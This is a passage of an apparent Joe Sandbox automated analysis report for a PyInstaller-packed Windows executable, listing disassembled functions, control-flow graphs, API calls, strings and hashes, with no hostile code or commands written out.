DSTADDR$IP_RECVTOS$IP_TOS$IP_TTL$MSG_BCAST$MSG_CTRUNC$MSG_DONTROUTE$MSG_ERRQUEUE$MSG_MCAST$MSG_OOB$MSG_PEEK$MSG_TRUNC$MSG_WAITALL$NI_DGRAM$NI_MAXHOST$NI_MAXSERV$NI_NAMEREQD$NI_NOFQDN$NI_NUMERICHOST$NI_NUMERICSERV$RCVALL_MAX$RCVALL_OFF$RCVALL_ON$RCVALL_SOCKETLEVELONLY$SHUT_RD$SHUT_RDWR$SHUT_WR$SIO_KEEPALIVE_VALS$SIO_LOOPBACK_FAST_PATH$SIO_RCVALL$SOCK_DGRAM$SOCK_RAW$SOCK_RDM$SOCK_SEQPACKET$SOCK_STREAM$SOL_IP$SOL_SOCKET$SOL_TCP$SOL_UDP$SOMAXCONN$SO_ACCEPTCONN$SO_BROADCAST$SO_DEBUG$SO_DONTROUTE$SO_ERROR$SO_EXCLUSIVEADDRUSE$SO_KEEPALIVE$SO_LINGER$SO_OOBINLINE$SO_RCVBUF$SO_RCVLOWAT$SO_RCVTIMEO$SO_REUSEADDR$SO_SNDBUF$SO_SNDLOWAT$SO_SNDTIMEO$SO_TYPE$SO_USELOOPBACK$SocketType$TCP_FASTOPEN$TCP_KEEPCNT$TCP_KEEPIDLE$TCP_KEEPINTVL$TCP_MAXSEG$TCP_NODELAY$WSAStartup failed: error code %d$WSAStartup failed: network not ready$WSAStartup failed: requested version not supported$_socket.CAPI$error$gaierror$has_ipv6$herror$socket$socket.gaierror$socket.herror$timeout
                                                    • API String ID: 2280847565-1299366327
                                                    • Opcode ID: de31a07a70c23239d4b04c80589f0f0a269b501d95a9cdd44f27bf4122d5a2ac
                                                    • Instruction ID: ec12e065f9652f400115c193e9096ac47b0c37f823df897dea8d0298ed9a2519
                                                    • Opcode Fuzzy Hash: de31a07a70c23239d4b04c80589f0f0a269b501d95a9cdd44f27bf4122d5a2ac
                                                    • Instruction Fuzzy Hash: E4A2F564B18F8285EA54DB17EC946A423A1BB4BBB9F8460B5CC0E06774DF7CE64DC780
                                                    Function 00007FF6399B1000 Relevance: 40.6, APIs: 5, Strings: 18, Instructions: 338COMMON
                                                    Download Yara Rule

                                                    Control-flow Graph

                                                    • Executed
                                                    • Not Executed
                                                    control_flow_graph 51 7ff6399b1000-7ff6399b3536 call 7ff6399bf138 call 7ff6399bf140 call 7ff6399bbb70 call 7ff6399c4700 call 7ff6399c4794 call 7ff6399b33e0 65 7ff6399b3544-7ff6399b3566 call 7ff6399b18f0 51->65 66 7ff6399b3538-7ff6399b353f 51->66 71 7ff6399b3736-7ff6399b374c call 7ff6399b3f70 65->71 72 7ff6399b356c-7ff6399b3583 call 7ff6399b1bf0 65->72 67 7ff6399b371a-7ff6399b3735 call 7ff6399bb870 66->67 80 7ff6399b374e-7ff6399b377b call 7ff6399b76a0 71->80 81 7ff6399b3785-7ff6399b379a call 7ff6399b25f0 71->81 76 7ff6399b3588-7ff6399b35c1 72->76 78 7ff6399b3653-7ff6399b366d call 7ff6399b7e10 76->78 79 7ff6399b35c7-7ff6399b35cb 76->79 95 7ff6399b366f-7ff6399b3675 78->95 96 7ff6399b3695-7ff6399b369c 78->96 83 7ff6399b3638-7ff6399b364d call 7ff6399b18e0 79->83 84 7ff6399b35cd-7ff6399b35e5 call 7ff6399c4560 79->84 92 7ff6399b379f-7ff6399b37be call 7ff6399b1bf0 80->92 93 7ff6399b377d-7ff6399b3780 call 7ff6399bf36c 80->93 98 7ff6399b3712 81->98 83->78 83->79 103 7ff6399b35f2-7ff6399b360a call 7ff6399c4560 84->103 104 7ff6399b35e7-7ff6399b35eb 84->104 112 7ff6399b37c1-7ff6399b37ca 92->112 93->81 101 7ff6399b3682-7ff6399b3690 call 7ff6399c415c 95->101 102 7ff6399b3677-7ff6399b3680 95->102 105 7ff6399b3844-7ff6399b3863 call 7ff6399b3e90 96->105 106 7ff6399b36a2-7ff6399b36c0 call 7ff6399b7e10 call 7ff6399b7f80 96->106 98->67 101->96 102->101 119 7ff6399b3617-7ff6399b362f call 7ff6399c4560 103->119 120 7ff6399b360c-7ff6399b3610 103->120 104->103 116 7ff6399b3871-7ff6399b3882 call 7ff6399b1bf0 105->116 117 7ff6399b3865-7ff6399b386f call 7ff6399b3fe0 105->117 127 7ff6399b380f-7ff6399b381e call 7ff6399b8400 106->127 128 7ff6399b36c6-7ff6399b36c9 106->128 112->112 118 7ff6399b37cc-7ff6399b37e9 call 7ff6399b18f0 112->118 130 7ff6399b3887-7ff6399b38a1 call 7ff6399b86b0 116->130 117->130 118->76 136 7ff6399b37ef-7ff6399b3800 call 7ff6399b25f0 118->136 119->83 137 7ff6399b3631 119->137 120->119 143 7ff6399b3820 127->143 144 7ff6399b382c-7ff6399b3836 call 7ff6399b7c40 127->144 128->127 133 7ff6399b36cf-7ff6399b36f6 call 7ff6399b1bf0 128->133 145 7ff6399b38af-7ff6399b38c1 SetDllDirectoryW 130->145 146 7ff6399b38a3 130->146 148 7ff6399b3805-7ff6399b380d call 7ff6399c415c 133->148 149 7ff6399b36fc-7ff6399b3703 call 7ff6399b25f0 133->149 136->98 137->83 143->144 144->130 162 7ff6399b3838 144->162 151 7ff6399b38d0-7ff6399b38ec call 7ff6399b6560 call 7ff6399b6b00 145->151 152 7ff6399b38c3-7ff6399b38ca 145->152 146->145 148->130 159 7ff6399b3708-7ff6399b370a 149->159 168 7ff6399b38ee-7ff6399b38f4 151->168 169 7ff6399b3947-7ff6399b394a call 7ff6399b6510 151->169 152->151 156 7ff6399b3a50-7ff6399b3a58 152->156 160 7ff6399b3a7d-7ff6399b3a88 call 7ff6399b33d0 call 7ff6399b3080 156->160 161 7ff6399b3a5a-7ff6399b3a77 PostMessageW GetMessageW 156->161 159->98 174 7ff6399b3a8d-7ff6399b3aaf call 7ff6399b33a0 call 7ff6399b6780 call 7ff6399b6510 160->174 161->160 162->105 171 7ff6399b390e-7ff6399b3918 call 7ff6399b6970 168->171 172 7ff6399b38f6-7ff6399b3903 call 7ff6399b65a0 168->172 176 7ff6399b394f-7ff6399b3956 169->176 186 7ff6399b3923-7ff6399b3931 call 7ff6399b6cd0 171->186 187 7ff6399b391a-7ff6399b3921 171->187 172->171 184 7ff6399b3905-7ff6399b390c 172->184 176->156 180 7ff6399b395c-7ff6399b3966 call 7ff6399b30e0 176->180 180->159 193 7ff6399b396c-7ff6399b3980 call 7ff6399b83e0 180->193 189 7ff6399b393a-7ff6399b3942 call 7ff6399b2870 call 7ff6399b6780 184->189 186->176 199 7ff6399b3933 186->199 187->189 189->169 202 7ff6399b39a5-7ff6399b39e8 call 7ff6399b7f20 call 7ff6399b7fc0 call 7ff6399b6780 call 7ff6399b6510 call 7ff6399b7ec0 193->202 203 7ff6399b3982-7ff6399b399f PostMessageW GetMessageW 193->203 199->189 214 7ff6399b3a3d-7ff6399b3a4b call 7ff6399b18a0 202->214 215 7ff6399b39ea-7ff6399b3a00 call 7ff6399b81f0 call 7ff6399b7ec0 202->215 203->202 214->159 215->214 222 7ff6399b3a02-7ff6399b3a10 215->222 223 7ff6399b3a31-7ff6399b3a38 call 7ff6399b2870 222->223 224 7ff6399b3a12-7ff6399b3a2c call 7ff6399b25f0 call 7ff6399b18a0 222->224 223->214 224->159
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3016959860.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000001.00000002.3016941257.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017017692.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017043415.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017043415.00007FF6399F3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017080594.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017080594.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID: FileModuleName
                                                    • String ID: Could not create temporary directory!$Could not load PyInstaller's embedded PKG archive from the executable (%s)$Could not side-load PyInstaller's PKG archive from external file (%s)$ERROR: failed to remove temporary directory: %s$Failed to convert DLL search path!$Failed to initialize security descriptor for temporary directory!$Failed to load Tcl/Tk shared libraries for splash screen!$Failed to start splash screen!$Failed to unpack splash screen dependencies from PKG archive!$MEI$PYINSTALLER_STRICT_UNPACK_MODE$Path exceeds PYI_PATH_MAX limit.$WARNING: failed to remove temporary directory: %s$_MEIPASS2$pkg$pyi-contents-directory$pyi-disable-windowed-traceback$pyi-runtime-tmpdir
                                                    • API String ID: 514040917-585287483
                                                    • Opcode ID: a84c724f8970315ecf749eb304289fe68cb305833295dea569ef4e303eacc2d0
                                                    • Instruction ID: d364db90be8a388034365462ea5b101bf284894601baf5a18f985379861a1fe4
                                                    • Opcode Fuzzy Hash: a84c724f8970315ecf749eb304289fe68cb305833295dea569ef4e303eacc2d0
                                                    • Instruction Fuzzy Hash: EBF15F21A09682A1FB18EF21D5562B96372EF58780F884031DA1DC37DFEF6CE558EB40
                                                    Function 00007FF6399D4F10 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 334timeCOMMON
                                                    Download Yara Rule

                                                    Control-flow Graph

                                                    • Executed
                                                    • Not Executed
                                                    control_flow_graph 356 7ff6399d4f10-7ff6399d4f4b call 7ff6399d4898 call 7ff6399d48a0 call 7ff6399d4908 363 7ff6399d5175-7ff6399d51c1 call 7ff6399c9c10 call 7ff6399d4898 call 7ff6399d48a0 call 7ff6399d4908 356->363 364 7ff6399d4f51-7ff6399d4f5c call 7ff6399d48a8 356->364 390 7ff6399d52ff-7ff6399d536d call 7ff6399c9c10 call 7ff6399d0888 363->390 391 7ff6399d51c7-7ff6399d51d2 call 7ff6399d48a8 363->391 364->363 370 7ff6399d4f62-7ff6399d4f6c 364->370 372 7ff6399d4f8e-7ff6399d4f92 370->372 373 7ff6399d4f6e-7ff6399d4f71 370->373 374 7ff6399d4f95-7ff6399d4f9d 372->374 376 7ff6399d4f74-7ff6399d4f7f 373->376 374->374 377 7ff6399d4f9f-7ff6399d4fb2 call 7ff6399cc90c 374->377 379 7ff6399d4f81-7ff6399d4f88 376->379 380 7ff6399d4f8a-7ff6399d4f8c 376->380 386 7ff6399d4fb4-7ff6399d4fb6 call 7ff6399c9c58 377->386 387 7ff6399d4fca-7ff6399d4fd6 call 7ff6399c9c58 377->387 379->376 379->380 380->372 381 7ff6399d4fbb-7ff6399d4fc9 380->381 386->381 397 7ff6399d4fdd-7ff6399d4fe5 387->397 408 7ff6399d536f-7ff6399d5376 390->408 409 7ff6399d537b-7ff6399d537e 390->409 391->390 399 7ff6399d51d8-7ff6399d51e3 call 7ff6399d48d8 391->399 397->397 400 7ff6399d4fe7-7ff6399d4ff8 call 7ff6399cf784 397->400 399->390 410 7ff6399d51e9-7ff6399d520c call 7ff6399c9c58 GetTimeZoneInformation 399->410 400->363 411 7ff6399d4ffe-7ff6399d5054 call 7ff6399d97e0 * 4 call 7ff6399d4e2c 400->411 413 7ff6399d540b-7ff6399d540e 408->413 414 7ff6399d53b5-7ff6399d53c8 call 7ff6399cc90c 409->414 415 7ff6399d5380 409->415 422 7ff6399d5212-7ff6399d5233 410->422 423 7ff6399d52d4-7ff6399d52fe call 7ff6399d4890 call 7ff6399d4880 call 7ff6399d4888 410->423 468 7ff6399d5056-7ff6399d505a 411->468 419 7ff6399d5383 call 7ff6399d518c 413->419 420 7ff6399d5414-7ff6399d541c call 7ff6399d4f10 413->420 434 7ff6399d53d3-7ff6399d53ee call 7ff6399d0888 414->434 435 7ff6399d53ca 414->435 415->419 432 7ff6399d5388-7ff6399d53b4 call 7ff6399c9c58 call 7ff6399bb870 419->432 420->432 428 7ff6399d5235-7ff6399d523b 422->428 429 7ff6399d523e-7ff6399d5245 422->429 428->429 437 7ff6399d5247-7ff6399d524f 429->437 438 7ff6399d5259 429->438 451 7ff6399d53f5-7ff6399d5407 call 7ff6399c9c58 434->451 452 7ff6399d53f0-7ff6399d53f3 434->452 442 7ff6399d53cc-7ff6399d53d1 call 7ff6399c9c58 435->442 437->438 444 7ff6399d5251-7ff6399d5257 437->444 446 7ff6399d525b-7ff6399d52cf call 7ff6399d97e0 * 4 call 7ff6399d1e6c call 7ff6399d5424 * 2 438->446 442->415 444->446 446->423 451->413 452->442 470 7ff6399d5060-7ff6399d5064 468->470 471 7ff6399d505c 468->471 470->468 473 7ff6399d5066-7ff6399d508b call 7ff6399c5e68 470->473 471->470 479 7ff6399d508e-7ff6399d5092 473->479 481 7ff6399d5094-7ff6399d509f 479->481 482 7ff6399d50a1-7ff6399d50a5 479->482 481->482 484 7ff6399d50a7-7ff6399d50ab 481->484 482->479 487 7ff6399d512c-7ff6399d5130 484->487 488 7ff6399d50ad-7ff6399d50d5 call 7ff6399c5e68 484->488 489 7ff6399d5132-7ff6399d5134 487->489 490 7ff6399d5137-7ff6399d5144 487->490 496 7ff6399d50f3-7ff6399d50f7 488->496 497 7ff6399d50d7 488->497 489->490 492 7ff6399d515f-7ff6399d516e call 7ff6399d4890 call 7ff6399d4880 490->492 493 7ff6399d5146-7ff6399d515c call 7ff6399d4e2c 490->493 492->363 493->492 496->487 502 7ff6399d50f9-7ff6399d5117 call 7ff6399c5e68 496->502 500 7ff6399d50da-7ff6399d50e1 497->500 500->496 503 7ff6399d50e3-7ff6399d50f1 500->503 508 7ff6399d5123-7ff6399d512a 502->508 503->496 503->500 508->487 509 7ff6399d5119-7ff6399d511d 508->509 509->487 510 7ff6399d511f 509->510 510->508
                                                    APIs
                                                    • _get_daylight.LIBCMT ref: 00007FF6399D4F55
                                                      • Part of subcall function 00007FF6399D48A8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6399D48BC
                                                      • Part of subcall function 00007FF6399C9C58: RtlFreeHeap.NTDLL(?,?,?,00007FF6399D2032,?,?,?,00007FF6399D206F,?,?,00000000,00007FF6399D2535,?,?,?,00007FF6399D2467), ref: 00007FF6399C9C6E
                                                      • Part of subcall function 00007FF6399C9C58: GetLastError.KERNEL32(?,?,?,00007FF6399D2032,?,?,?,00007FF6399D206F,?,?,00000000,00007FF6399D2535,?,?,?,00007FF6399D2467), ref: 00007FF6399C9C78
                                                      • Part of subcall function 00007FF6399C9C10: IsProcessorFeaturePresent.KERNEL32(?,?,?,?,00007FF6399C9BEF,?,?,?,?,?,00007FF6399C9ADA), ref: 00007FF6399C9C19
                                                      • Part of subcall function 00007FF6399C9C10: GetCurrentProcess.KERNEL32(?,?,?,?,00007FF6399C9BEF,?,?,?,?,?,00007FF6399C9ADA), ref: 00007FF6399C9C3E
                                                    • _get_daylight.LIBCMT ref: 00007FF6399D4F44
                                                      • Part of subcall function 00007FF6399D4908: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6399D491C
                                                    • _get_daylight.LIBCMT ref: 00007FF6399D51BA
                                                    • _get_daylight.LIBCMT ref: 00007FF6399D51CB
                                                    • _get_daylight.LIBCMT ref: 00007FF6399D51DC
                                                    • GetTimeZoneInformation.KERNELBASE(?,?,?,?,?,?,?,?,?,00000000,?,00007FF6399D541C), ref: 00007FF6399D5203
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3016959860.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000001.00000002.3016941257.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017017692.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017043415.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017043415.00007FF6399F3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017080594.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017080594.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID: _get_daylight$_invalid_parameter_noinfo$CurrentErrorFeatureFreeHeapInformationLastPresentProcessProcessorTimeZone
                                                    • String ID: Eastern Standard Time$Eastern Summer Time
                                                    • API String ID: 4070488512-239921721
                                                    • Opcode ID: 1e88bcb5f495bb70dc88d60703a9f776145871d29d9eb43ad6078281b4d73a6f
                                                    • Instruction ID: 9a813929e3c5294596a21913cb679a5a8ca6ed35b0adb9036ce81672dce53359
                                                    • Opcode Fuzzy Hash: 1e88bcb5f495bb70dc88d60703a9f776145871d29d9eb43ad6078281b4d73a6f
                                                    • Instruction Fuzzy Hash: 95D1B226E0824286EB24AF25D8811B9A7A6EF44794F484135EA4DC77DFDF3CE841EB41
                                                    Function 00007FF6399D5C74 Relevance: 13.8, APIs: 9, Instructions: 276fileCOMMON
                                                    Download Yara Rule

                                                    Control-flow Graph

                                                    • Executed
                                                    • Not Executed
                                                    control_flow_graph 625 7ff6399d5c74-7ff6399d5ce7 call 7ff6399d59a8 628 7ff6399d5d01-7ff6399d5d0b call 7ff6399c7830 625->628 629 7ff6399d5ce9-7ff6399d5cf2 call 7ff6399c43d4 625->629 634 7ff6399d5d0d-7ff6399d5d24 call 7ff6399c43d4 call 7ff6399c43f4 628->634 635 7ff6399d5d26-7ff6399d5d8f CreateFileW 628->635 636 7ff6399d5cf5-7ff6399d5cfc call 7ff6399c43f4 629->636 634->636 638 7ff6399d5d91-7ff6399d5d97 635->638 639 7ff6399d5e0c-7ff6399d5e17 GetFileType 635->639 653 7ff6399d6042-7ff6399d6062 636->653 642 7ff6399d5dd9-7ff6399d5e07 GetLastError call 7ff6399c4368 638->642 643 7ff6399d5d99-7ff6399d5d9d 638->643 645 7ff6399d5e6a-7ff6399d5e71 639->645 646 7ff6399d5e19-7ff6399d5e54 GetLastError call 7ff6399c4368 CloseHandle 639->646 642->636 643->642 651 7ff6399d5d9f-7ff6399d5dd7 CreateFileW 643->651 649 7ff6399d5e73-7ff6399d5e77 645->649 650 7ff6399d5e79-7ff6399d5e7c 645->650 646->636 659 7ff6399d5e5a-7ff6399d5e65 call 7ff6399c43f4 646->659 656 7ff6399d5e82-7ff6399d5ed7 call 7ff6399c7748 649->656 650->656 657 7ff6399d5e7e 650->657 651->639 651->642 664 7ff6399d5ef6-7ff6399d5f27 call 7ff6399d5728 656->664 665 7ff6399d5ed9-7ff6399d5ee5 call 7ff6399d5bb0 656->665 657->656 659->636 670 7ff6399d5f2d-7ff6399d5f6f 664->670 671 7ff6399d5f29-7ff6399d5f2b 664->671 665->664 672 7ff6399d5ee7 665->672 674 7ff6399d5f91-7ff6399d5f9c 670->674 675 7ff6399d5f71-7ff6399d5f75 670->675 673 7ff6399d5ee9-7ff6399d5ef1 call 7ff6399c9dd0 671->673 672->673 673->653 678 7ff6399d5fa2-7ff6399d5fa6 674->678 679 7ff6399d6040 674->679 675->674 677 7ff6399d5f77-7ff6399d5f8c 675->677 677->674 678->679 681 7ff6399d5fac-7ff6399d5ff1 CloseHandle CreateFileW 678->681 679->653 682 7ff6399d5ff3-7ff6399d6021 GetLastError call 7ff6399c4368 call 7ff6399c7970 681->682 683 7ff6399d6026-7ff6399d603b 681->683 682->683 683->679
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3016959860.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000001.00000002.3016941257.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017017692.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017043415.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017043415.00007FF6399F3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017080594.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017080594.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID: File$CreateErrorLast_invalid_parameter_noinfo$CloseHandle$Type
                                                    • String ID:
                                                    • API String ID: 1617910340-0
                                                    • Opcode ID: a69f399e4b06a5e248c6b703f60b2f721b94672e004abf856287656fc91ee5b6
                                                    • Instruction ID: afdebeb15a895550b4458c0aa72b691a7a11d9737ac27262835fe35f779caf53
                                                    • Opcode Fuzzy Hash: a69f399e4b06a5e248c6b703f60b2f721b94672e004abf856287656fc91ee5b6
                                                    • Instruction Fuzzy Hash: 91C1C436B28A4286EB10DF69C4906AC3762FB89B98B050235DF1E977DECF38D451DB10
                                                    Function 00007FF6399D518C Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 143timeCOMMON
                                                    Download Yara Rule

                                                    Control-flow Graph

                                                    • Executed
                                                    • Not Executed
                                                    control_flow_graph 1133 7ff6399d518c-7ff6399d51c1 call 7ff6399d4898 call 7ff6399d48a0 call 7ff6399d4908 1140 7ff6399d52ff-7ff6399d536d call 7ff6399c9c10 call 7ff6399d0888 1133->1140 1141 7ff6399d51c7-7ff6399d51d2 call 7ff6399d48a8 1133->1141 1152 7ff6399d536f-7ff6399d5376 1140->1152 1153 7ff6399d537b-7ff6399d537e 1140->1153 1141->1140 1146 7ff6399d51d8-7ff6399d51e3 call 7ff6399d48d8 1141->1146 1146->1140 1154 7ff6399d51e9-7ff6399d520c call 7ff6399c9c58 GetTimeZoneInformation 1146->1154 1155 7ff6399d540b-7ff6399d540e 1152->1155 1156 7ff6399d53b5-7ff6399d53c8 call 7ff6399cc90c 1153->1156 1157 7ff6399d5380 1153->1157 1163 7ff6399d5212-7ff6399d5233 1154->1163 1164 7ff6399d52d4-7ff6399d52fe call 7ff6399d4890 call 7ff6399d4880 call 7ff6399d4888 1154->1164 1160 7ff6399d5383 call 7ff6399d518c 1155->1160 1161 7ff6399d5414-7ff6399d541c call 7ff6399d4f10 1155->1161 1173 7ff6399d53d3-7ff6399d53ee call 7ff6399d0888 1156->1173 1174 7ff6399d53ca 1156->1174 1157->1160 1171 7ff6399d5388-7ff6399d53b4 call 7ff6399c9c58 call 7ff6399bb870 1160->1171 1161->1171 1168 7ff6399d5235-7ff6399d523b 1163->1168 1169 7ff6399d523e-7ff6399d5245 1163->1169 1168->1169 1176 7ff6399d5247-7ff6399d524f 1169->1176 1177 7ff6399d5259 1169->1177 1188 7ff6399d53f5-7ff6399d5407 call 7ff6399c9c58 1173->1188 1189 7ff6399d53f0-7ff6399d53f3 1173->1189 1180 7ff6399d53cc-7ff6399d53d1 call 7ff6399c9c58 1174->1180 1176->1177 1182 7ff6399d5251-7ff6399d5257 1176->1182 1183 7ff6399d525b-7ff6399d52cf call 7ff6399d97e0 * 4 call 7ff6399d1e6c call 7ff6399d5424 * 2 1177->1183 1180->1157 1182->1183 1183->1164 1188->1155 1189->1180
                                                    APIs
                                                    • _get_daylight.LIBCMT ref: 00007FF6399D51BA
                                                      • Part of subcall function 00007FF6399D4908: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6399D491C
                                                    • _get_daylight.LIBCMT ref: 00007FF6399D51CB
                                                      • Part of subcall function 00007FF6399D48A8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6399D48BC
                                                    • _get_daylight.LIBCMT ref: 00007FF6399D51DC
                                                      • Part of subcall function 00007FF6399D48D8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6399D48EC
                                                      • Part of subcall function 00007FF6399C9C58: RtlFreeHeap.NTDLL(?,?,?,00007FF6399D2032,?,?,?,00007FF6399D206F,?,?,00000000,00007FF6399D2535,?,?,?,00007FF6399D2467), ref: 00007FF6399C9C6E
                                                      • Part of subcall function 00007FF6399C9C58: GetLastError.KERNEL32(?,?,?,00007FF6399D2032,?,?,?,00007FF6399D206F,?,?,00000000,00007FF6399D2535,?,?,?,00007FF6399D2467), ref: 00007FF6399C9C78
                                                    • GetTimeZoneInformation.KERNELBASE(?,?,?,?,?,?,?,?,?,00000000,?,00007FF6399D541C), ref: 00007FF6399D5203
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3016959860.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000001.00000002.3016941257.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017017692.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017043415.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017043415.00007FF6399F3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017080594.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017080594.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID: _get_daylight_invalid_parameter_noinfo$ErrorFreeHeapInformationLastTimeZone
                                                    • String ID: Eastern Standard Time$Eastern Summer Time
                                                    • API String ID: 3458911817-239921721
                                                    • Opcode ID: c5508bc63ced89b7e96ce891f343e42cb1356f84bc391250f2f4d752248c7e40
                                                    • Instruction ID: 48919e8359a416c18dea602ca0c19232ddc98d1e972730a6e63117874ca41f16
                                                    • Opcode Fuzzy Hash: c5508bc63ced89b7e96ce891f343e42cb1356f84bc391250f2f4d752248c7e40
                                                    • Instruction Fuzzy Hash: E7514B32A0864286E720DF26A8C11B9A7A2BF48784F495135EA4DC77DFDF3CE440AB41
                                                    Function 00007FF6399B85A0 Relevance: 3.0, APIs: 2, Instructions: 29COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3016959860.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000001.00000002.3016941257.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017017692.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017043415.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017043415.00007FF6399F3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017080594.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017080594.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID: Find$CloseFileFirst
                                                    • String ID:
                                                    • API String ID: 2295610775-0
                                                    • Opcode ID: ca66ee6ee850f25a53d0c9653a43f1313d0231bc46844eb151e3c2d0b1a3e355
                                                    • Instruction ID: c18358b8fb7d98efa6b0ee9aacd299903054efabc1aa039fcc7eb63f267f4107
                                                    • Opcode Fuzzy Hash: ca66ee6ee850f25a53d0c9653a43f1313d0231bc46844eb151e3c2d0b1a3e355
                                                    • Instruction Fuzzy Hash: 8BF06222A2D642C6F7A08F60B48976673A1FB84768F080335DA6D427DDDF3CE4599F04
                                                    Function 00007FFE146321B0 Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 72COMMON
                                                    Download Yara Rule

                                                    Control-flow Graph

                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3018862329.00007FFE14631000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FFE14630000, based on PE: true
                                                    • Associated: 00000001.00000002.3018842963.00007FFE14630000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018885111.00007FFE14638000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018906517.00007FFE14640000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018928348.00007FFE14642000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ffe14630000_file.jbxd
                                                    Similarity
                                                    • API ID: From$AuditCharComputerErr_ErrorLastNameSys_Unicode_WideWindows
                                                    • String ID: socket.gethostname
                                                    • API String ID: 1075394898-2650736202
                                                    • Opcode ID: 7298ead834648a7f4bc6c3e3640df6640e6ed5735f611ada6b462331e5912f76
                                                    • Instruction ID: a6e69cc5b3e687250f46b69f04b737407391cc0d59a0e25d4e53b61c02b3e479
                                                    • Opcode Fuzzy Hash: 7298ead834648a7f4bc6c3e3640df6640e6ed5735f611ada6b462331e5912f76
                                                    • Instruction Fuzzy Hash: C4311021A0CFC682F624DB62A8942BA63A1FF8ABADF444475D54E42774DF3CE44D8790
